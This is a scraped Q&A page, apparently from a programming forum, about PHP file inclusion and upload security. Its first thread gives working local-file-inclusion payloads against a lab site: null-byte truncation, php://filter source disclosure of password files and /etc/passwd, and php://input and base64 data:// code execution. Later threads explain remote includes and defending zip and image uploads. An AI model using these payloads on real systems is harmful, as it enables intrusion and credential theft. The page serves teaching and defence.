PHP security exploit - list content of remote PHP file? - php

I'm trying to exploit some web vulnerabilities in a sample website running inside a VM (it is not available on the web - only for educational purposes). I have a php file named setupreset.php which has the information about MySQL configs, setup and passwords used to setup the website. This is in the same directory as the rest of the php files (index, products, forum, etc...).
This is the code of index.php, for reference:
<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
include("home.html");
} else { include ($page . '.php'); }
include ("includes/footer.php");
?>
The main goal is to list the contents of the setupreset PHP file, or download it somehow. If I navigate to this file: http://10.211.55.5/index.php?page=setupreset, it gets executed, but the PHP code is naturally not shown, due to the fact that it is parsed by the PHP interpreter.
Now, the website uses PHP includes, so URLs look like this: http://10.211.55.5/index.php?page=products. This seems like it's vulnerable to remote file inclusion, where I could simply point to another PHP page, e.g. http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php but allow_url_include is off and cannot be changed, so this won't work (I tried this). However, allow_url_fopen is likely on (since it's on by default), so my question is the following: is it possible to upload a PHP file or some script that lists the content of setupreset.php using this kind of exploit?

If allow_url_include is off, you can't execute remote code. But you can find other pages, for example a content management dashboard, to upload your code as "image", then find the actual path and include it.
And, there are still ways to exploit.
Let's look inside your code. You may notice that it automatically add an extension .php at the end of path. So you should remove php in GET param. But what if the file you want to include does not have PHP extension? Then use %00 to terminate string, such as
http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00
There's a special protocol in PHP, powerful and dangerous. It's php://.
You can check out the offcial manual for detailed information, and here I'll show you some cases to make a file inclusion vulnerability become source disclosure and even remote code execution vulnerabilities.
Before your test, I suggest you use Firefox with HackBar plugin. It's a powerful penetration testing suite.
Source disclosure
This feature doesn't need url inclusion allowed.
php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read. (Reference)
Then you can see the source secret.inc.php in the same directory via following request.
http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc
File content will be encoded in base64, so it does support binary file.
It's powerful to get sensitive information, such as database passwords or a encryption key! If privilege is not proper configurated, it can even jump out of cage and extract data from files in outter directories, like /etc/passwd!
Remote code execution
Actually you can't exploit this way, because allow_url_include is Off in this case.
But I must point it out because it's magical!
It's completly different from local include. It doesn't need to upload any file to a remote server or so. All you need is one single request.
php://input can access the raw HTTP request body, so what does include("php://input") do? Just visit http://localhost/include.php?page=php://input, with valid PHP code in request body, then you can execute any (allowed) function in remote server!
Don't forget the %00 to drop .php tail.
Besides, PHP supports data:// URL scheme. You can directly put code in GET param! The following test doesn't need any special tool, just a normal browser can execute an attack.
http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>
Some Web Application Firewalls may detect suspected string in URL and block evil request, they won't leave the phpinfo alone. Is there a way to encrypt? Of course. data:// URL supports at least base64 encoding...
http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
And you will get familiar phpinfo once again!
Note
The null byte trick (%00) does not work anymore for PHP >= 5.3.4: http://blog.benjaminwalters.net/?p=22139

Use a directory traversal and end your input string with a %00 NUL meta character (as mentioned on wikipedia).
http://example.com/index.php?page=setuppreset%00
This will remove the ".php" suffix from the inclusion and might help you somehow.

It is not. The php file is getting executed because you call include, if you called readfile, file_get_contents or similar you could see the contents of the php file.

Related

PHP include link to online file

Can I use include (or something similar) to get functions (or something else) from an online file?
Something like this:
include 'http://stackoverflow.com/questions/ask.php';
Simple Answer: No
Elaborating:
If you use http or https inside your file path, you are literally telling your code to include a file that is on the internet and to use the HTTP / HTTPS protocol in that process.
As you probably know, php code is executed on the server and is never displayed to users online, but rather the output of the php is displayed.
For that reason, you won't be able to gain access to your php functions while being a user from online (because that is how you will be perceived with the previous method).
What you should do is either use relative paths or absolute paths to include php scripts with functions on the same server. Here is some php documentation if you want to read a bit more on how to format the path: PHP DOC

Can a PHP script be included outside my file system?

I have a PHP script called constants.php, in there I have a lot of valuable data, like my MySQL information, etc.
Is it possible to access that script outside my machine? Lets say, using the following: include http://www.fakewebsite.com/config/constants.php
Well, yes and no.
Yes: They will be able to access the output of the file constants.php (however most likely it will be blank).
No: They won't be able to access your variables. You can only access these before PHP has been parsed.
Let's read the docs:
If "URL fopen wrappers" are enabled in PHP (which they are in the
default configuration), you can specify the file to be included using
a URL (via HTTP or other supported wrapper - see Supported Protocols
and Wrappers for a list of protocols) instead of a local pathname. If
the target server interprets the target file as PHP code, variables
may be passed to the included file using a URL request string as used
with HTTP GET. This is not strictly speaking the same thing as
including the file and having it inherit the parent file's variable
scope; the script is actually being run on the remote server and the
result is then being included into the local script.
So you can actually load external files (if your admin allows you to). However, is it going to be useful in your case? Open http://www.fakewebsite.com/config/constants.php in your web browser and open the "View Source" menu. Whatever you see there, it's what your PHP script will see (most likely, a blank page).
Last but not least... Supposing that the remote server is configured to not execute *.php files or contains a PHP script that generates PHP code, why would you want to post all that valuable and sensitive data to the Internet?
If the URL is publically accessible, then yes, anyone can read it from the URL, including scripts.
However the key part here is that they will access the output of constants.php, not the file itself. They'll get exactly the same output as you would if you accessed the file from a web browser.
What they cannot do is include your actual PHP code by calling the URL. The URL is not a direct connection to the PHP file; it's a connection to the web server. The web server then processes the PHP file and provides the output. As long as the web server is processing the PHP file before sending the output, then your PHP code is safe. It can't be seen via the URL.
There may be other ways of getting at it, but not that way.
Yes, so long as you have access to the script, you can include it within your own scripts.

Include external code in php

I need to include to my php script external php code which is situated for example by link http://site.com/code.php How could I do it? I tryed all ways which I found in internet but no one works. All methods are good to include text but not php script.
You can only include the code if it is served as text: otherwise everyone would be able to see / use your code.
So the options you have:
Get the file trough ftp and include it with include or require
Get the file in plaintext, by serving .php files on "site.com" as text. This is ofcourse not a good idea, as everyone could see your source from there.
Put the file on the same server as the script that wants to include it.
If you need just the file to be 'run', you can curl it. You won't get the source (cannot use its functions etc) but any actions it performs (make file? add something to the database) will be run.
It is not possible, unless you can get the source code to it (aka. its published somewhere or it is on a file system you can access).
According to the PHP documentation (http://php.net/manual/en/features.remote-files.php) "As long as allow_url_fopen is enabled in php.ini, you can use HTTP and FTP URLs with most of the functions that take a filename as a parameter. In addition, URLs can be used with the include(), include_once(), require() and require_once() statements (since PHP 5.2.0, allow_url_include must be enabled for these)."

Calling PHP functions from different domains

Is it possible to call a PHP function found in a file on another website with a different domain?
For example, I know that to call a PHP function from another file in the same domain (say function aaa() found in aaa.php) I just have to simply do this (with a few simplifying assumptions):
include_once('aaa.php');
aaa();
I have tried doing something similar, such as:
include_once('http://othersite/aaa.php');
aaa();
I cannot get this to work (the page seems to load fine, with no error messages, but the function does not execute). I have tried require(), which gives me a blank screen. I have had no success with fopen either.
If it is possible to do this, how can I do it?
The include and require (and their _once variants) take a local filesystem path as their parameter. Domains have nothing to do with it.
Yes, you can also put an URL there (if you have the fopen wrappers enabled), but then PHP will just download the file and try to execute it. In other words, for this to work, if you entered http://othersite/aaa.php in your browser, it should show the PHP source, not the results of processing it.
When passing an URL to include \ require, PHP cannot do anything more than your browser. It's at the mercy of the webserver at othersite. If it doesn't return PHP code, there is no way that PHP can get to it.
What you are currently doing is getting the remote server to execute the PHP file and then you're reading the parsed contents -- the same as a browser would. So you get (presumably) HTML, not PHP code.
If the remote code does not need to be kept private for any reason (e.g. security) you can get the remote server to serve you the PHP source code. The easiest way to do that is to rename the file as aaa.txt, so it will not be passed to the PHP interpreter.
You can only do this if the other server is set to serve the PHP files as source -- i.e., without executing them.

Stop people uploading malicious PHP files via forms

I have an upload form created in php on my website where people are able to upload a zip file. The zip file is then extracted and all file locations are added to a database. The upload form is for people to upload pictures only, obviously, with the files being inside the zip folder I cant check what files are being uploaded until the file has been extracted. I need a piece of code which will delete all the files which aren't image formats (.png, .jpeg, etc). I'm really worried about people being able to upload malicious php files, big security risk! I also need to be aware of people changing the extensions of php files trying to get around this security feature.
This is the original script I used http://net.tutsplus.com/videos/screencasts/how-to-open-zip-files-with-php/
This is the code which actually extracts the .zip file:
function openZip($file_to_open) {
global $target;
$zip = new ZipArchive();
$x = $zip->open($file_to_open);
if($x === true) {
$zip->extractTo($target);
$zip->close();
unlink($file_to_open);
} else {
die("There was a problem. Please try again!");
}
}
Thanks, Ben.
Im really worried about people being able to upload malicious php files, big security risk!
Tip of the iceberg!
i also need to be aware of people changing the extensions of php files trying to get around this security feature.
Generally changing the extensions will stop PHP from interpreting those files as scripts. But that's not the only problem. There are more things than ‘...php’ that can damage the server-side; ‘.htaccess’ and files with the X bit set are the obvious ones, but by no means all you have to worry about. Even ignoring the server-side stuff, there's a huge client-side problem.
For example if someone can upload an ‘.html’ file, they can include a <script> tag in it that hijacks a third-party user's session, and deletes all their uploaded files or changes their password or something. This is a classic cross-site-scripting (XSS) attack.
Plus, thanks to the ‘content-sniffing’ behaviours of some browsers (primarily IE), a file that is uploaded as ‘.gif’ can actually contain malicious HTML such as this. If IE sees telltales like (but not limited to) ‘<html>’ near the start of the file it can ignore the served ‘Content-Type’ and display as HTML, resulting in XSS.
Plus, it's possible to craft a file that is both a valid image your image parser will accept, and contains embedded HTML. There are various possible outcomes depending on the exact version of the user's browser and the exact format of the image file (JPEGs in particular have a very variable set of possible header formats). There are mitigations coming in IE8, but that's no use for now, and you have to wonder why they can't simply stop doing content-sniffing, you idiots MS instead of burdening us with shonky non-standard extensions to HTTP headers that should have Just Worked in the first place.
I'm falling into a rant again. I'll stop. Tactics for serving user-supplied images securely:
1: Never store a file on your server's filesystem using a filename taken from user input. This prevents bugs as well as attacks: different filesystems have different rules about what characters are allowable where in a filename, and it's much more difficult than you might think to ‘sanitise’ filenames.
Even if you took something very restrictive like “only ASCII letters”, you still have to worry about too-long, too-short, and reserved names: try to save a file with as innocuous a name as “com.txt” on a Windows server and watch your app go down. Think you know all the weird foibles of path names of every filesystem on which your app might run? Confident?
Instead, store file details (such as name and media-type) in the database, and use the primary key as a name in your filestore (eg. “74293.dat”). You then need a way to serve them with different apparent filenames, such as a downloader script spitting the file out, a downloader script doing a web server internal redirect, or URL rewriting.
2: Be very, very careful using ZipArchive. There have been traversal vulnerabilities in extractTo of the same sort that have affected most naive path-based ZIP extractors. In addition, you lay yourself open to attack from ZIP bombs. Best to avoid any danger of bad filenames, by stepping through each file entry in the archive (eg. using zip_read/zip_entry_*) and checking its details before manually unpacking its stream to a file with known-good name and mode flags, that you generated without the archive's help. Ignore the folder paths inside the ZIP.
3: If you can load an image file and save it back out again, especially if you process it in some way in between (such as to resize/thumbnail it, or add a watermark) you can be reasonably certain that the results will be clean. Theoretically it might be possible to make an image that targeted a particular image compressor, so that when it was compressed the results would also look like HTML, but that seems like a very difficult attack to me.
4: If you can get away with serving all your images as downloads (ie. using ‘Content-Disposition: attachment’ in a downloader script), you're probably safe. But that might be too much of an inconvenience for users. This can work in tandem with (3), though, serving smaller, processed images inline and having the original higher-quality images available as a download only.
5: If you must serve unaltered images inline, you can remove the cross-site-scripting risk by serving them from a different domain. For example use ‘images.example.com’ for untrusted images and ‘www.example.com’ for the main site that holds all the logic. Make sure that cookies are limited to only the correct virtual host, and that the virtual hosts are set up so they cannot respond on anything but their proper names (see also: DNS rebinding attacks). This is what many webmail services do.
In summary, user-submitted media content is a problem.
In summary of the summary, AAAARRRRRRRGGGGHHH.
ETA re comment:
at the top you mentioned about 'files with the X bit set', what do you mean by that?
I can't speak for ZipArchive.extractTo() as I haven't tested it, but many extractors, when asked to dump files out of an archive, will recreate [some of] the Unix file mode flags associated with each file (if the archive was created on a Unix and so actually has mode flags). This can cause you permissions problems if, say, owner read permission is missing. But it can also be a security problem if your server is CGI-enabled: an X bit can allow the file to be interpreted as a script and passed to any script interpreter listed in the hashbang on the first line.
i thought .htaccess had to be in the main root directory, is this not the case?
Depends how Apache is set up, in particular the AllowOverride directive. It is common for general-purpose hosts to AllowOverride on any directory.
what would happen if someone still uploaded a file like ../var/www/wr_dir/evil.php?
I would expect the leading ‘..’ would be discarded, that's what other tools that have suffered the same vulnerability have done.
But I still wouldn't trust extractTo() against hostile input, there are too many weird little filename/directory-tree things that can go wrong — especially if you're expecting ever to run on Windows servers. zip_read() gives you much greater control over the dearchiving process, and hence the attacker much less.
First you should forbid every file that doesn’t have a proper image file extension. And after that, you could use the getimagesize function to check whether the files are regular image files.
But furthermore you should be aware that some image formats allow comments and other meta information. This could be used for malicious code such as JavaScript that some browsers will execute under certain circumstances (see Risky MIME sniffing in Internet Explorer).
You should probably not rely just on the filename extension, then. Try passing each file through an image library to validate that its really an image, also.
I don't see the risk in having renamed php files in your DB...
As long as you're not evaluating them as PHP files (or at all, for that matter), they can't do too much harm, and since there's no .php extension the php engine won't touch them.
I guess you could also search the files for <?php...
Also: assume the worst about the files uploaded to your machine. Renamed the folder into which you're saving them "viruses" and treat it accordingly. Don't make it public, don't give any file launch permissions (especially the php user), etc.
You might also want to consider doing mime type detection with the following library:
http://ca.php.net/manual/en/ref.fileinfo.php
Now you are relying on your harddrive space for extracting. You can check fileheaders to determine what kind of files they are. there probably libraries for that.
offtopic: isnt it better to let the user select couple of images instead of uploading a zip file. Better for people that don't know what zip is (yes they exist)
If you set php to only parse files ending with .php, then you can just rename a file from somename.php to somename.php.jpeg and you are safe.
If you really want to delete the files, there is a zip library available to php. You could use it to check the names and extensions of all the files inside the zip archive uploaded, and if it contains a php file, give the user an error message.
Personally, I'd add something to the Apache config to make sure that it served PHP files as text from the location the files are uploaded to, so you're safe, and can allow other file types to be uploaded in the future.
Beaware of this Passing Malicious PHP Through getimagesize()
inject PHP through image functions that attempt to insure that images
are safe by using the getimagesize() function
read more here http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/
Better for your user logo use gravatar like here used by Stackoverflow ;)
Use getimagesize function.
Full procedure:-
1.) Extract extension of image/uploaded file and then compare extension with allowed extension.
2.) Now create a random string for renaming uploaded file. best idea is md5(session_id().microtime()).It can not be duplicated and if your server is very fast and can process less than a microsecond than use incremented variable and add them with string.
now move that file.
A tip
Disable PHP file processing in upload directory, it will always prevent you from any server side attack and if possible add your htaccess in root directory or in httpd config file and disable htaccess files from there now it solve your maximum problems

Categories